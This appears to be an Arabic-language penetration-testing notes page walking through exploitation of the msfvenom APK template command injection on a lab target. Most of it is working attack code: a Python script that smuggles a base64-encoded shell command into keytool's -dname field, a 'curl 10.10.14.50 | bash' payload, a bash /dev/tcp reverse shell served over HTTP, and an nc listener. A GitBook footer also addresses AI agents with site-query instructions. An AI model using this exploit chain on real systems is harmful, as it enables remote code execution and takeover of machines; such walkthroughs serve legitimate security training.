> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/cms/msfvenom-apk-exploitation.md).

# APK باستخدام Msfvenom

## حقن أمر msfvenom APK template

<figure><img src="/files/0d788fbd5c3dca056cefd394af58e4fa3d294ecc" alt=""><figcaption></figcaption></figure>

تم تحديد خدمة معرّضة للثغرة على المنفذ 5000.

<figure><img src="/files/7ac5b492941e27bf981bda29de9534f155da5a14" alt=""><figcaption></figcaption></figure>

ابحث عن الثغرات ذات الصلة:

```bash
searchsploit -m multiple/local/49491.py
```

تم تحديد حقن محتمل قائم على APK.

<figure><img src="/files/e55ca656f2aef05eed8fbb334c64f7d893b3b3ca" alt="" width="557"><figcaption></figcaption></figure>

**سكربت الاستغلال (msfvenom-exploit.py)**

```bash
python3 msfvenom-exploit.py
```

```python
#!/usr/bin/env python3
import subprocess
import tempfile
import os
from base64 import b64encode

# غيّرني
payload = 'ping 10.10.14.50'

# استخدام b64encode لتجنب الأحرف السيئة (keytool حساس)
payload_b64 = b64encode(payload.encode()).decode()
dname = f"CN='|echo {payload_b64} | base64 -d | /bin/bash #"

print(f"[+] جارٍ إنشاء ملف apk خبيث")
print(f"الحِمل: {payload}")
print(f"-dname: {dname}")
print()

tmpdir = tempfile.mkdtemp()
apk_file = os.path.join(tmpdir, "evil.apk")
empty_file = os.path.join(tmpdir, "empty")
keystore_file = os.path.join(tmpdir, "signing.keystore")
storepass = keypass = "password"
key_alias = "signing.key"

# أنشئ empty_file
open(empty_file, "w").close()

# إنشاء apk_file
subprocess.check_call(["zip", "-j", apk_file, empty_file])
# إنشاء مفتاح التوقيع باستخدام -dname خبيث
subprocess.check_call(["keytool", "-genkey", "-keystore", keystore_file, "-alias", key_alias, "-storepass", storepass,
                       "-keypass", keypass, "-keyalg", "RSA", "-keysize", "2048", "-dname", dname])

# توقيع APK باستخدام dname الخبيث الخاص بنا
subprocess.check_call(["jarsigner", "-sigalg", "SHA1withRSA", "-digestalg", "SHA1", "-keystore", keystore_file,
                       "-storepass", storepass, "-keypass", keypass, apk_file, key_alias])

print()
print(f"[+] تم! ملف apk موجود في {apk_file}")
print(f"نفّذ: msfvenom -x {apk_file} -p android/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -o /dev/null")
```

يقوم السكربت بإنشاء ملف مؤقت يحتوي على APK خبيث.

<figure><img src="/files/4d62cdece38a6f6f3359d5c4a05293a762fef0f8" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/ed9acbc96e3ecd2806f1e7d34acb4af53286f22b" alt=""><figcaption></figcaption></figure>

**تحليل حزمة ICMP**

راقب نشاط الشبكة بحثًا عن رد اتصال:

```bash
tcpdump -i tun0 icmp -n
```

<figure><img src="/files/042a0c71dc4b67e2ff874ac081f370f53309da7c" alt=""><figcaption></figcaption></figure>

### **استغلال RCE باستخدام Msfvenom**

عدّل الحِمل لإنشاء اتصال عكسي:

```bash
# غيّرني
payload = 'curl 10.10.14.50 | bash'
```

أنشئ `index.html` ملف يحتوي على:

```bash
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.50/443 0>&1
```

ابدأ خادم HTTP:

```bash
python3 -m http.server 80
```

ثم استمع للاتصال على المنفذ 443:

```bash
nc -nlvp 443
```

بمجرد إرسال APK وتنفيذه على الهدف، يتم الحصول على shell عن بُعد.

<figure><img src="/files/4fca784ad73394e819c875c9915e70ebf4c832e7" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/cms/msfvenom-apk-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
